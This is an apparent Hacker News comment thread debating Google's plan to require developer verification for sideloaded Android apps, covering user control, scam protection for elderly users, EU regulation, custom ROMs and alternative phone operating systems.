Whether this change actually takes control away from us remains to be seen. For example, I don't see anything in the article that suggests we wouldn't be able to install a custom ROM with the signature check removed. Personally, I already run GrapheneOS so I expect I actually won't be impacted by this at all.
> You'd be surprised at what warnings/permission boxes people will blindly accept when they think they're talking to someone from Microsoft or Google's tech support.
But I know they do, I've seen this first hand. It's lack of education (except for extreme cases of people who cannot take care of themselves. but that's not the majority)
> Agency they don't want and never use. It's taking away agency from people like us but for the average user, Google is taking away nothing they've ever cared about.
It's agency they don't know they want, until it suddenly becomes useful.
I'm not expecting everyone to use side-loaded, unapproved apps every day, it's about keeping OS vendors in check, about limiting their power over devices they don't own. If they act against users, there should be a way to circumvent them. Such ideas take that away.
> I was just saying a couple of days ago that we need a service for old people where any transaction above a certain configurable threshold (for example, $500 in a day) has to be approved by an employee of this service who serves as a neutral 3rd party whose sole function is to try to prevent scams.
Enabling such a service is a choice they would have to make. The default is control.
The situation with all side loading restrictions is opposite - you don't get to choose.
Unless you are suggesting that such service should be forced on people that match some vague "old" criteria. Our disagreement goes far besides technology in that case.
Saying "the users need to be educated" doesn't solve anything. Google could start an education campaign tomorrow and it would be ignored by most of the people that need it. If they were interested in learning then we wouldn't have this problem.
> If they act against users, there should be a way to circumvent them
Then install a custom rom. All the power you want is already available, just no longer on the official android builds. Seems silly to demand Google screw over the majority of their customers because you don't want to install a custom rom.
> The situation with all side loading restrictions is opposite - you don't get to choose.
On the contrary, you choose when you purchase your phone. If you don't like it, purchase a phone that caters to users like us. There's the librem5 which I sadly own but that phone is a joke (but tolerable if the android landscape starts looking too much like Apple). I've heard good things about the pinephone but personally I'm never touching anything that comes out of pine64 again after the disastrous pinebook pro. I love the idea behind the FairPhone but the security on that device is a joke. I'm hoping the GrapheneOS people launch a decent phone.
> Saying "the users need to be educated" doesn't solve anything. Google could start an education campaign tomorrow (...)
Of course just saying it doesn't fix anything.
I don't want Google or Apple or any other vendor to do any education campaigns (and they clearly don't even want to try), part of my point is that the issue is too deep to be solved by such technological measures. For example, not skipping such warnings (includes invalid/expired certificates in https) and basic cyber hygiene should be taught in schools. There should be more public campaigns about these issues.
So I'm not even sure if Google should be fixing that particular problem (although I can guess why they are really eager to "solve" it this particular way). I would rather they focused even more on a stronger sandbox, making sure system software on licensed phones has no vulnerabilities and making sure the users understand what power they give to an application, than pretend that this fixes much.
Sideloading restrictions only barely (because it's not like they are actually going to verify the applications, nothing about that in the post) plug one way to scam people remotely, over many, many other more severe ways. The banks in many countries don't even properly verify identity of people they give loans to, why not focus on that instead? (Yes, Google won't fix this, I'm not asking them to, they shouldn't try.)
We lose more than we gain.
> Then install a custom rom. All the power you want is already available
On most phones it's not, but that's besides my point.
> Seems silly to demand Google screw over the majority of their customers because you don't want to install a custom rom.
I'm not demanding Google to screw over anyone, and the current "sideloading" situation does not screw over anyone.
I just believe that the vendors should not have the sole power to decide what applications can be installed on devices they don't own.
Maybe let's have multiple certification authorities besides Google, like with TLS, as a start/compromise? I see the point of actually having an expert verify if an application is legitimate, and this isn't even it.
> On the contrary, you choose when you purchase your phone.
That choice should not be made when the phone is purchased.
And also I'm not talking about what I want to do with my phone, I'm talking about what I believe people should be able to do with their phones - for example they should be able to opt out of such protections if they don't want them (and leave them on if they want them), or choose who verifies their applications.
Only possible if they know what the protections do and what the risks are, going back to what I wrote about education.
In the short term, yes. In the long term, it means Google can ban any app it doesn't like, and it means governments can compel it to do so.
Governments being able to ban software without easy workarounds could have far-reaching consequences affecting people who don't even use the software in question. This is a Bad Thing even if it helps keep a few people from getting scammed.
> Average users benefit greatly from their pocket appliance not being a full fledged computer.
Why, though?
There's certainly no technical reason that a pocket appliance can't be a full fledged computer. The primary reason it isn't is because device manufacturers benefit greatly from having a tight control over their products. This is not unique to mobile devices; we see the same trend of desktop operating systems becoming increasingly user hostile as well.
The claim that these features are in the best interest of users is an inane excuse. Operating systems can certainly give users the freedom to use their devices to their full capabilities, without sacrificing their security or privacy. There are many ways that Google could implement this that doesn't involve being the global authority over which apps users are allowed to install. But, of course, they are in the advertising business, where all data that can be collected, must be collected.
Agreed. Most people don't care that they can't run "unauthorized app XYZ", as long as their bank account / vacation pics / texts don't leak.
Now, that may happen anyway, but they'll give up a TON to avoid that.
Me, I try to avoid using my phone for anything important, use a VPN under Linux at home whenever possible, ad blockers, privacy guard, etc, etc. I can't expect my non-technical family members to do that.
Bad car analogy coming up: MOST drivers benefit more from ABS than the few really, really good race car drivers who can do threshold braking and outbrake ABS - and even then, I doubt it's true for anything but the earliest ABS systems. I'll bet the newest ABS systems are better than almost any human - because they don't have an off day, don't get distracted, etc.
And I get the anger - I'm an old school Atari 800xl / ST / DOS / Linux user who tries to ditch Windows where possible. Restricting things seems heavy-handed - and I don't trust Google in the least. But I would NEVER tell anyone in my family to sideload an app, even though they're all Android users - I don't want that support burden.
Don't pretend that average users are asked, or that their opinions would matter. Or even that you have some sort of insight into the average user that other people don't have.
People who think this is unacceptable are the people who 1) understand what it is, 2) don't stand to profit from it, and 3) don't dream about locking average users into an ecosystem that they control some day.
And people who are financially interested in letting users side-load apps (malicious or otherwise) are good at what they do. I mean, even Russian banks that are banned from the Apple App Store are still finding ways to distribute iPhone apps.
I have been preparing myself psychologically for this for a long time. I will have to carry a shitty Google phone for anything that requires access to apps, and a proper Linux phone for my own use like browsing and reading/watching videos/listening to music.
While I like to jump on the Google bash train as much as anyone, this is to comply with EU laws.
Apple implemented a similar change for the EU App Store earlier this year to comply with the Digital Services Act (DSA), a regulation that now requires app developers to provide their “trader status” to submit new apps or app updates for distribution.
But this is for apps outside the Play store, so the DSA isn’t at play here insofar as Google needs to be concerned. I don’t think there’s any solid decision on whether third-party app distribution is subject to the trader requirements, but if/when there is, it’d presumably be on the alternative distribution platform to enforce, not Google. Plus, Google already adjusted its policies to comply with the DSA.
For the record, Apple notes that the DSA requirements only impact developers distributing through the App Store, not through alternative distribution [1].
I.e. it doesn't require this at all, it merely requires Google require verification for apps that they themselves distribute. What they've been doing all along until now plus or minus minor bookkeeping details on what data they collect.
Just wonderful. Why does Europe insist on imposing regulations like this that companies then force on the rest of the world? It's one thing if they're benign but this very much isn't.
Only monetized apps (whether that be directly paid, microtransactions, ads, etc.) are legally required to go through that process - and it's a perfectly sensible requirement for the government to say "if you want to run a business, you need to do so as a business".
That is most apps - but not the kind of apps Google is attacking here (personal-scale, actually-free, third-party, etc.). And "apps that are not monetized" is actually a very nice thing to filter for from a user perspective.
Of course, the world's largest malware vendors love to use government action as an excuse to do something else malicious.
Wouldn't developers be the most powerful protesters?
Stop making or maintaining Android apps. Make apps warn users about upcoming changes and why they'll lose access to the apps they love. Decrease Google's ecosystem appeal.
Money is king.
The page about developer verification (announcement link 2 in the root post) says that there will be a separate type of account for "student and hobbyist developers". Why? What prevents students and hobbyists from using the regular type of account?
What does it mean to app developers like me? if I want to create an app, in however shape and form and want to run the apk from the adb files... I can't do that? What? Then how do I tinker and learn? My app, I would like it to run regardless!
This would affect a lot apps that are not on the Play Store for multiple reasons... and if I'm going to be stuck with what Google thinks I should be allowed to use, then why not use iOS instead? At least software updates would be better and the overall experience more polished.
I wonder if this was hastened by groups like DJI, who are too popular to be bound by a silly app store and chose instead to give their users sketchy side-loading instructions for their apps.
I think the push for verified developers is a double-edged sword. I got into this space, precisely because of how easy it was for me with my pentium computer a decade ago.
> Google wants to combat “convincing fake apps” and make it harder for repeat “malicious actors to quickly distribute another harmful app after we take the first one down
Some cross platform iOS/Android apps I use have been retired or discontinued because of this ruling. Devs don't want to open themselves up to legal, bullying, harassment, etc.
It seems that it was only about time… it just feels like the pace of enshittification with big tech being able to get away with anything is crazy!
I’m hoping that projects like Precursor can take off because we’ve buried ourselves in such mountain of complexity that seems like only a billion/trillion dollar big tech company can make an OS.
But then again, some body called BS on browsers and we might have a good option soon in Ladybug!
Fuck google for this. Awful decision. Guaranteed to be abused when Google or government despots decide that certain apps (or developers) aren't aligned with their interests.
Feeling very frustrated with the way the internet is going lately. This plus OSA + chat control. And compounded by the imperative for AI companies to keep hoovering up any and all data they can get their hands on, wiring it into "agentic" workflows and such.
When I switched from Android to iOS, this was one of the things I missed a lot: the ability to write my own app and side load it on my phone. Even more so with the advent of LLM. Oh well, now I don't have to worry about that.
This isn't a big deal to me because I hate smartphones and do everything on PC anyways. The real problem for me is Microsoft, I guess we're stuck with Linux now
This combined with the 'age verification' coming to all Google properties means it is a very small step from that new world to full Google verification of everything you visit and everything on your device, at any time, for any reason with the penalty being incontestable ban from your device, apps and data.
Get ready for facebook style 'we are interrupting you for a video selfie because we have detected you are a threat' across all google properties (Android, Chrome, Gmail, Maps...).
I did some surface-level research, but I couldn’t find any country that explicitly or publicly requested this from Google.
While I saw countries discussing the issue, none of them seemed to ask Google directly to only allow authorized third party apps.
That makes me think this is entirely a power move. If those countries had actually asked Google to step in and make phones safer, there are other ways to do that. And if they did explicitly request this particular solution, then why isn’t it being implemented only in those countries?
This is a software-based solution—just like Apple limits certain features to specific regions, Google could do the same and restrict it to the countries that require it.
I think it would be ok if it was not for the fact that Google will most likely abuse it for other purposes like locking out indie developers even more.
While my confidence is usually pretty low with random repos, I am fairly sure there are more malware on the playstore than there are as .apk on github.
Okay so that removes the last reason to use Android.
This is just another 'it's only about money' move from Google. Only Google approved apps means monetised apps. Monetised means Google gets it's cut. Google gets richer. More in-app purchases, more ads, more money for Google
On the side, I'm even more sad because I feel like the open web can't be the alternative answer to locked down systems. It was the promise and the dream of the many of us years ago, but I'm disillusioned by now. And not only because Chrome and Webkit(on mobile) are a monopoly, but the web keeps failing its users with bad ux and less capapabilities than native. Even the most well crafted web app feels slow and clunky. Unpopular opinion: who makes web standards failed us and browsers independently implementing non-standard anti-user feature(e.g. manifest v3). I really dream of a stripped down browser that just expose some os native apis for making accessible human interfaces, we had flash and we hated it imo we need flash again
Blame Apple for this garbage. They have paved the way by trying to circumvent the DMA.
Hopefully the EU slaps everyone with massive fines for these obvious anticompetitive plays. Best case scenario would be an outride ban giving local companies space but I doubt this will happen given how spineless the current commission is.
Clearly for American companies to be tightening the noose like that quoting the approval of authoritarian countries, it means they’re starting to feel the fire. It’s hard to not see the obvious link with them losing against Epic here behind the usual security smoke screen.
Both Apple and Google should have been broken to pieces for their egregious anti competitive behaviour a long time ago anyway.
Do we know what was the European Commission response to Apple "complying" to the DMA by allowing sideloading with notarization and fees?
As far as I can see, the latest developments are from April 2025 when the commision fined Apple 500M€ for non-compliance due to preventing developers to advertise their app being available on a third-party store.
The distribution term imposed on developers are a separate investigation that the one leading to the 500M€ fine. Preliminary view as of April 2025 is that Apple conditions are in breach of the DMA [1]. Apple has some time to reply.
Except fines to be coming soon. That’s why Trump is threatening the EU about IT firm compliance right now.
aside from the obvious power grab, the official announcement mentions that there were discussions about this move somewhere and they claim to receive positive feedback, can anyone point me to these discussions? I can't seem to find them anywhere
Guys, it's been over for a while now. And I mean decades... This is just one of the next steps in the path that's been laid out in front of us since the general population reached critical mass on the Internet and the ruling class (politicians, the media, corporations...) went all in on exploiting them for money and power. If we don't radically change the underpinnings of how the entire system works, we're in for much worse than this.
China will push own Android OS forks into other markets even harder, if they do it fully open-source then bonus for them, users will force devs (banking apps etc) to get more support. A good example is one EU bank which publishes to Huawei's AppGallery to support non-Google certified Android phones.
Note that most of them do. Huawei was banned from it but I'm not aware of other notable brands that do not ship Google software (besides that one vendor that ships Apple software)
Yeah okay, so none of them come with Google Play but in general it's possible to install it, but on Huawei it's not, right? I could see that being the case.
has anyone had to help any elderly relative with the million scams they've downloaded from google's app store? google does not give a shit about helping regular people avoid scams, it's all just bullshit.
not even to mention the h1b indian kickback stuff that's about to hit them. couldn't happen to a nicer company.
Helping elderly with scams: Yes, today, with Google Chrome. They got tricked into allowing desktop notifications and they look super legit on Microsoft Windows, styled like antivirus notifications and everything, covering the browser UI to get to the settings. I don't see how using closed software helps here
making an ADB-based debloater and browser shims to use stuff like bank apps, then sharing that with others. Then again, like cutting wires, it doesn't address the root cause.
I don't understand, when the EU announced that Apples "actually we need to sign all of these and pay us" requirement is illegal, Google was like "hold my beer"?
This deplorable company has just condemned humanity's right to open computing. They sold themselves as open, smothered out all other open competitors, and then once they had complete dominance over the open phone market did this.
Even if Google backtracks now. Governments will latch on to this idea just like they have with client side content scanning. This will never go away. Thank you google you despicable pieces of shit.
I hope something like SailfishOS [1] could take off. They do have Android support, and maybe even by pressure, they could get banking apps working in the EU via that.
Anyone even remotely privacy or security conscious needs to vote with their wallet in protest and stop buying Android phones, otherwise it's only a matter of time 'til Google bans side-loading and it becomes impossible to buy a phone that can run any kind of anonymous or end-to-end encrypted communication software.
Stop buying Android and what? Buy an iPhone that's even more locked down or live like an outcast that can't access essential services? Because those are the realistic options.
For years I've been buying middle-of-the-road Android phones because they provide pretty good bang for the buck, but if I can't use a computer I paid for however the fuck I want, I'm just going to start getting the cheapest crap I can get away with and use it as little as possible. "Vote with your wallet" doesn't have to mean total abstinence.
I think getting a flagship device that's a few years old probably makes for a better experience. I check the LineageOS supported devices list, then search eBay for something from there.
in all things. I would encourage you and everyone who reads this post to stare down this option with realistic consideration. In a society this broken, it is the solution to more and more things. To checkout, to accept the hard mode because to pick the path of convenience is to be exploited.
I respect at least your choice but I'm not growing tofu on the farm. Veganism is one of those protests that while i appreciate going after factory farms, you're only enabled to do so by large corporations.
Flip phones can access essential services just fine, if some business or government office is only allowing something to be done via smartphone app, that’s a problem.
Do you not have to use a 2FA app for things like banking? In Singapore, they are phasing out 2FA options other than the banking app. The banking apps only work on iPhones and Google-approved Android phones. It's pretty bad.
Wow. My bank provided me with an external token to do 2FA. If I have to guess, however, the code that generates the OTP code (assuming that is a code that is requested) should be easy enough to reverse engineer.
I admit, though, that being forced to RE a f**ing android app just to do banking is grounds to change the aforementioned bank. Isn't there any other alternative in Singapore?
In your country, maybe. Over here you're dead in the water without a smartphone — can't access banking except by going to the branch and standing in the queue for an hour or two, can't access most government services. Limit your selection of goods (like electronics, but not only that) by something like 90% (and also increase prices by 30-50%) because brick and mortar shops sell old crap at much higher cost than it was ever worth, and the only real solution is buying from a major marketplace which is only available as a mobile application.
This concept originated in China and is spreading. Beware.
@achrono (I cannot reply to the other post, I don't know why). Yes, you can use just a web browser.
> Mobile Payments
They work with a card, no smartphone required. Moreover, cash didn't cease to exist.
> Navigation
Again, physical maps are a thing. Google Maps or OpenStreetMap are accessible by browser. Having a physical map and having to follow road signs can be a beautiful experience. If one is addicted to a machine that tells them where to go, navigators are still a thing (no smartphone required)
>All manner of IoT devices
Don't put an IoT device in your house if you don't know what it does and how it works. If the only way to interface to it is via an app... then you don't know what it does and how it works. Don't put it in your house.
>Wearables
I don't even know what are wearables: if I write it on Firefox it underlines it in red. By doing a quick search, I can see images of watches. Watches can work without an app. Moreover, watches that work without an app are usually less expensive than the other kind.
>Digital versions of ID (Mobile Passport Control)
Don't. I know that some governments are pushing this crap thinking it's the future. Simply don't. Imagine you're at the airport and you accidentally drop your passport. You pick it up, nothing lost. Imagine you drop your phone and it stops working. You lost:
- Your documents
- Your money (if you rely on your phone for paying and don't have cash with you, which seems a growing trend among people I know)
- All your ways to contact people for help
Instead:
- Your wallet is stolen: you lost all your money and your cards, but you have your documents (at least the passport because it surely does not fit a wallet).
- Your phone is stolen: you lost all the ways to contact people, but you can buy another one
- Your passport is stolen: you can contact your embassy.
Smartphones are becoming a SPOF (Single Point Of Failure) for our lives.
Are you for real? I'm totally on board with using free and open alternatives, but if you're not going on a mountain trail then a physical map is going to be drastically worse than any navigation software.
Also FWIW I have a card-sized passport that I can easily get stolen with my wallet.
Ok, I admit I do not own any such passport (for now).
But for navigation... I use a mixture between physical maps and directions and online data. Specifically, before departure, I simply use OpenStreetMap to look at the route. If the route is very long I know I will be traveling by highways, so I rely on noting down only some keypoints. Then at the end of the route (near the destination), where I know I will get lost, I screenshot the map and I print it out (or have it on my laptop, it depends).
But, and I hesitate to point it out, because I am finding that people think it is somehow minimal entry stakes, one does not need any of those things..
You wouldn't get very far without WeChat and AliPay in China. Last time a good friend of mine was there, many merchants simply refused to accept cash. The few that did had made it known how much they were inconvenienced by doing that.
Same for basically every interaction with locals, for accessing government services, or even just using the public transportation.
It's pretty similar for locals AFAIK.
And before anyone replies that he didn't have to travel there — no, he did, unless he was willing to look for another job (which are very sparse here, you hold on to a good job for dear life).
He's talking about concert tickets and similar entertainment events, where several of the major providers no longer provide PDF tickets and instead only send them to a phone app. It is possible to make enough of a stink and collect tickets on the day, but that option is increasingly difficult to find.
Buy Apple; the point is to hurt Google. If enough people do it, Google might reconsider. Show them that the open ecosystem is the only value Android added, and if they refuse to bring back the open ecosystem then their platform will slowly die. Won't be long until Google's as locked-down as Apple at this rate, so all Android gives you is a power-hungry OS that protect your privacy even less than iOS does.
Buying closed stuff to show we want an open ecosystem?
At this point, I believe the most effective ways one can help with this is:
(1) advocacy - it's slow and difficult, but having people at least agree / be familiar with the idea that closed stuff is bad is a good first step.
Open ecosystems can't work for the general public if it's trapped in closed networks that won't work on anything else than the two big mobile operating systems, so making people start using open chat apps and such will help a lot. It'll take years, but so be it. It's worth it I think.
(2) helping improve the more open stuff.
I think Linux mobile for instance is a potentially viable alternative in the medium term for at least the basic use cases: Calls, SMS, GPS / Maps, Signal, photos. All this has no reason not to work with some polish. I daily drove Linux mobile 4 years ago for a year. The main thing I'm missing is good hardware for it, and a lot of polish but nothing impossible. Yeah, indeed, no payment with the phone (Google Pay / Apple Pay). But it's still possible to use the physical cards and not use the phone for this.
You've got to be kidding. Doesn't work, Apple is even more locked down than what this article announces. No sideloading whatsoever, signature checks ala Play Protect are mandatory and cannot be switched off, no alternative app stores, etc.
Not sure why this is downvoted. The entire value proposition of Android is the semi-open OS. For things you can’t do with Apple devices, you use the myriad of Android devices out there.
Yet most of the world runs Android. Its main value proposition was always wide selection of hardware for however much money you're willing to spend, not its relative openness.
I make relatively decent money by our standards, and I wouldn't even think about dropping $700-1000 on a phone (which isn't even officially sold or supported over here). For the vast majority of people it's their whole income over 2-4 months. I don't know or care how much you make, let's say it's $10k per month. Imagine if you had to pay $20-40k for a phone which is good for maybe 5-8 years.
Banking apps, messaging apps, streaming apps, even video games all want locked down devices. They will use hardware cryptography to discriminate against us and refuse service if they can't cryprographically prove we're using a corporate owned device.
Naughty user. Looks like you've been tampering with your device, installing unauthorized software and whatnot. Only money laundering drug trafficking child molesting terrorists do that. I'm gonna have to deny your request to log you into your bank account.
I'm curious if GrapheneOS or other custom Android builds would be able to avoid these restrictions reasonably.
Obviously this is going to impact the supply of apps, since the market share of custom Android is smaller than even the market share of people willing to sideload or use an alternative store on a mainstream Android phone. Many developers might quit the game.
The problem with custom ROMs is that many government, banking, and similar apps don't run on them without workarounds. Some of those apps also consider this as a TOS violation as well.
When Microsoft first proposed a remote attestation scheme for PCs under the name Palladium, it was widely seen as a nightmare scenario. Even the mainstream press was critical[0]. There was barely a whimper when Google introduced Safetynet a decade later.
It wasn't OK in 2003. It wasn't OK in 2014. It isn't OK now. I'm just not sure what anybody can do about it.
There are many third-party money apps that login to your online banking that are a violation of ToS. That doesn't stop people using them. In fact, when they get really big, they can be legitimised by banks. For example, to get my mortgage, I had to use a third party service that logs in to my online banking account and ingests all my transactions to show that I saved for my deposit legitimately.
Then I won't run those apps. Seriously. I know not everyone has this option, but it's been my experience that a lot of processes do in fact have workarounds when you show them the cryptic error their poorly behaved app throws.
GrapheneOS has offical support for hardware attestation[0].
It does require the developer to make minor adjustments, and most banks are simply too risk averse to agree to doing that (I would know, used to be a senior android app dev at a bank).
I don’t use any utility apps (identity, banking, services etc) on my phone and stick to the desktop web. And don’t use services that do require me to have a Google or apple account and phone. (Spoiler: I do)
I hope my tiny datapoint shows up in some aggregated stats somewhere.
The alternative is just Apple; if Google loses enough users they might reconsider. Essentially the only real advantage Android had over Apple was being a more free platform/ecosystem; if they're going to do away with that, then they should be shown that this means they'll lose a lot of users.
GrapheneOS is a beautiful stop-gap, but there are real bona-fide Linux smartphones out there. To be clear, there are not many, the hardware often isn't great, the software often isn't great. PinePhone and Librem come to mind.
Cell carriers will just start requiring the attestation as well. And eventually, even an internet connection will - wifi routers will have to attest to ISP equipment, etc.
The final phase is "AI" monitoring everything you do on your devices. Eventually it won't just be passive, either, but likely active: able to change books you read and audio you listen to on-the-fly without your consent. It will be argued that this ok because the program is "objective".
At this point, I would stop using commercial cell carriers and ISP-provided equipment altogether, even if that means setting up mesh networks with an underground community. User control or bust.
I've been keeping an eye on FuriLabs (Furiphone). They maintain FuriOS - Debian with an Android kernel. Has a container for running Android apps. Price is reasonable though I don't know how it'll be affected by tariffs in the US. It's tempting.
Pretty sure Bunnie named it “precursor” because the plan is to make the actual phone (with a cellular modem) next. If I had the cash to support him and buy a Precursor I would.
Android is decades ahead of that in security, functionality, utility, devex, and design. It's a fools errand to try and modernize that, over building on top of AOSP.
My guess is that they've taken the correct lesson from all the EU antitrust fines, and it's not that they should be less anticompetitive. It's that they should be more politically compliant, for things like censorship, surveillance and messaging control. For which this is a useful step.
If it's something simple like $100, that's not a big deal. That's on the order of what I'm looking at for my code signing certificates. It would be a an eminently reasonable business expense.
It's not the case anymore. HN is not reflecting it, but HarmonyOS is very much a 3rd option. Huawei got banned from using Android, and they decided to start a mobile OS from scratch. They are binary compatible with Android, so most apps work straight away. Unless they use play services.
They wrote it from scratch in C++ so they could avoid some of the legacy cruft in Android. And they are getting adoption. It's a major OS in China and in many developing countries (phones with it are cheaper, and it flies on underpowered hardware!)
Before we judge the magnitude of this event (HarmonyOS existing and being successful), let's remember that last time anyone tried to disrupt the duopoly Android-iOS, it was MS, the largest company on earth by market capitalization at the time. And they failed.
Well, it very much looks like Huawei is not failing. We in the west don't see it as much, because propaganda is working well. But last tech conference I attended (GITEX Berlin, if you are wondering), had their app available to download with... 3 logos, not 2. Harmony OS was there. This is a major win for consumers all over the world.
And this being HN, I hope the inevitable comment "but China!" is slightly more informed that the average internet user.
If this comes to fruition, my next phone is going to be Harmony OS. I hate the CCP with passion, but if there's sideloading on Harmony - that's where I'm going to go.
I hate to break the news to Google, but this will likely be ruled illegal. The relevant German news of the court ruling that makes requiring a Google Account to use Google Services illegal:
"The changes will affect all certified Android devices once live". AKA GrapheneOS should remain unaffected (as it is not "certified", per Google parlance), and F-Droid should remain available - in theory.
If they keep up this "boil the frog slowly" crap though, I may be migrating off of Android and over to a strictly Linux-based phone, like a PinePhone, Librem, etc.
Fuck the scumbags at the top of big tech making decisions like these.
AOSP is being killed piece by piece - zero community engagements, infrequent dumps with no commit logs, moving everything into Google Play services and recently no more binaries for Pixel phones just to make third party ROM developers lives a little more miserable.
Could someone explain why the personal privacy of software developers is more important than the cybersecurity of consumers and nations please and thank you
To everyone working at Big Tech: you should be ashamed of helping those oligarchs make their plans reality by working for them. Thanks to you, privacy, free computing and democracy will disappear.
Another instalment of HN thread where people try their best to pretend that "security" does not come with "enforced, ideally at hardware level, inability to run random code" for 99% of phone users.
Here a tip: you won't solve the problem of security by just whining about corporate interests (which is a real concern) and NOT proposing a better solution that works for an average tech illiterate, very socially engineerable person trained to ignore every warning screen. And no root switch is not that solution because it will be flipped on day 1.
You expect random people like your baker next door to be security experts who can beat top notch hackers. It just doesn't work like that. Even you may not be as good as you think is required to protect yourself in the wild internets
Also many of them will be your family (if you have it). Maybe even those from whom you would have inherited something if only they were not hacked
It is. Notarization like Apple does is also legal. In fact the EU commission would welcome this with open arms since they can now access the personal data of every developer and can order Google to ban every app they want. This goes hand-in-hand with their new "Digital wallet" app that will be launched next year.
I wouldn't be so sure. The DMA is very much against gatekeeping and a couple of days ago Google lost in court to 1&1 (in Germany) regarding keeping Android users in a walled garden [0]. This is in appeal now. We'll see.
Feels like Google is either following Apple's playbook from iPhone OS 1, or they're working together so they can argue this is standard practice in the industry... or something. Either way, no more Android gloating that they can install any app from anywhere any time without centralized approval. Not great. I'm an Apple fan, BUT I like having a fully open backup plan.
This is another "beginning of the end." All eyes are on this situation and how much push back it gets. If there is little resistance, others will certainly follow suit.
"Google to prevent users from installing programs on Android phones."
This might do more good than harm, since I'm willing to believe that scams involving APKs are prevalent, but come on. I need your permission to install software on my phone? Are you sure it isn't just that you want more control over everyone's phones?
They already have a version of that - it's called Windows S Mode (Windows Store apps only, no EXEs or scripts, Edge only for browsing). If they get away with it, they would make it the default. Required Microsoft accounts was a step in that direction.
It will happen. We've been the frogs boiled in the pot for years, accepting forced attestation. Eventually they'll close off running unsigned code, and the PCs will probably have bootloaders locked to Windows as well, so you can't escape.
This will be just another boost for de-googled phones, alternative platforms and potentially Mobile Linux.
The only reason why google phones became so popular was the fact that they were much less restrictive than iPhones. Thus the platform became the biggest phone platform in the world.
Now they are asking for a new start to arise and take their place.
It occurs to me this may have occurred in some way at the behest of the Trump administration, as a way in which to move towards controlling the apps installed on phones.
This reminds me of Microsoft's Project Palladium, 20 years ago.
This was the ancestor of TPMs and trusted computing in general embedded in the CPU.
It used to be a huge scandal because people (rightly) feared that it would enable Microsoft to have a say on what can be executed or not, or only allow DRM protected content to play.
Extremely retarded. "Think of the children" all over again in the guise of "Think of the misinformation" when this is all just some kind of easy way to get rid of apps like newpipe.
Google is really turning into a dystopian company, destroying any goodwill their virtuous employees created in the past. It feels like they are primed to be the main turnkey tyranny facilitators.
> Google is explicit today about how “developers will have the same freedom to distribute their apps directly to users through sideloading or to use any app store they prefer.”
« Développer will have freedom » yet they are entitled to Google’s verification.
It’s just another stone in the grave of Android and even though I shipped off this sinking ship 6 years ago to iOS, this is still concerning because ultimately apple’s IOS is in competition solely with Android.
If Android gets so bad it has all the disadvantage of iOS, some more, for instance with the embedded spyware that manufacturer are paid to include, and none of the good side of iOS, then everyone lose. Apple doesn’t have to compete anymore, they just have to not suck.
Without an apple ID you can compile an iOS app, but can only run it in an iPhone Simulator on a Mac.
With a free apple ID (no additional registration needed) you can also install your compiled iOS app on your iPhone and have it working for 7 days before you need to re-install it.
Is it really different from what Google is doing ? Not being to compile or user not being to install have the very same consequence : your app can’t be used.
This phase from the last couple of years just had to come - and while it's painful to be exposed to it - it seems highly illogical for us to complain and cry about it.
- "Free" search - yay, let's all use it for everything and even make a verb out of it
- Email - such nice guys, Google - free email forever, what could go wrong if I have my 95% of all my info there
- Maps - yeah, let's all depend on these free Google maps with our lives
- Chrome - ofc, heck yes, let's all use their browser, it's the best and free - no need for anything else
- Google account login for EVERYTHING - so convenient! Google Authenticator app, Google Wallet - yes, more!
- Free mobile operating system - nice, take that, Apple!
Google has taken over a large portion of our lives, step by step - good enough services, on global scale, for free, until they became essential.
They are not evil, like they were never good - they are a company, and in the current socio-economic structure, that means having a duty to use their position to enrich their shareholders - and absolutely have no interest in people's wellbeing or morality or opinions or reputation - unless it temporarily serves to do so more / better.
I'm in no way trying to defend them. Just, with all the futility of it, pointing out how hyper-capitalism we've built/allowed to grow, has reached the stage where it's practically impossible for the "free market" to react / provide solutions that people want. Now the big players decide what people get.
In this case, you can no longer have a high quality phone of a good manufacturer and install on it what you want. Small manufacturer catering to that demographic won't get government certification, you can't have your e.g. Samsung and install a ROM anymore, and you can't install your app freely on Android unless Google lets you. That's all just in a tiny sliver of space.
Our Tetris board barely has any room left for choice and actions.
You mean the guy that bans people from twitter for disagreeing with him? And has made a chatbot that spouts right-wing conspiracies in the name of being "anti-woke"?
That might be one of the reasons. Get rid of competition by legal means.
In my case I keep a copy of K9 Mail 5.6 with the original UI (the reason I choose K9) and I sideload it to every device of mine. I'm afraid that I'll have to register an account and what, claim that that K9 is mine?
TL;DR
If you're not using Linux by now, do yourself a favor and start. You could do worse than starting with Linux Mint or PopOS, but whatever you do, get ahead of the curve and transition to these user-friendly open sourced OSes. The alternative is far, far worse at the moment.
aren't there braille terminals that work with linux? I don't know how you would make a rigorous blind UX other than working with a text interface first.
Everybody complaining of this is admitting they are doing nefarious actions. Those of us playing by the rules see no issue with this - In fact I welcome it!
Sorry if I didn't recognize your sarcasm, but if you’re serious, you’re probably also assuming that rooting is usually done for criminal activity. In fact, both rooting and easy app creation/side-loading are often tools to solve inconveniences. I didn't plan to root my last phone until I encountered some restrictions in the manufacturer’s version of Android that couldn’t be resolved without rooting.
Regarding the topic, I can easily imagine a legitimate app on Google Play with available source code, where you find something inconvenient and your attempts to suggest a fix to the developer did not lead to the desired outcome. Currently, you or your developer friend can simply fork such an app, fix the issue, and release it for the general public without any extra paperwork. This Google policy would make such a developer suspicious/disabled by default (if the developer is not already verified), unless proved otherwise.
Before quickly running to dismiss this move, please at least do your research with regards to the situation in the countries mentioned in the article, especially Singapore and Thailand.
Side-loaded malware has been an epidemic in SE Asia, and there are MILLIONS of dollars stolen (mostly from pensioners!) via side-loaded malware disguised as gambling apps - the local population is particularly suspectible to gambling, especially the older generations that are not so tech-savvy.
So make it an unlockable feature with a big red warning saying something like: 'If you unlock this feature, your money might be stolen, malware could infiltrate your system. You take full responsibility and acknowledge that you are tech-savvy.'
I'm sure if my grandma saw something like that, she wouldn't click it. This way, people who want to stay in a closed garden are protected, while those who want full control have it. The current implementation seems designed for state interests, not the people's.
It shouldn't be impossible. Not every FOSS developer will want to register, or be mature enough, or may be from sanctioned countries, and so forth.
I think that you are right, although that is not the only issue.
One of the issues is that perhaps they should also check the software in the official app stores better (I think I had read that Apple does a little bit, although they don't do it so well either, and they don't have side-loading so that is another problem).
However, perhaps a more significant issue is when something requires having Android (or iPhone) even if you do not want that, you cannot use your own (or none at all, if that would make sense which sometimes it does).
Private app companies should be and are doing more to protect against malware.
Banking apps in Malaysia are required to include malware detection software [0]. Companies should have better fraud and trust teams to identity and block fraud activities.
The rest of the world shouldn't suffer because a handful of banking companies refuse to offer basic fraud protections for their users.
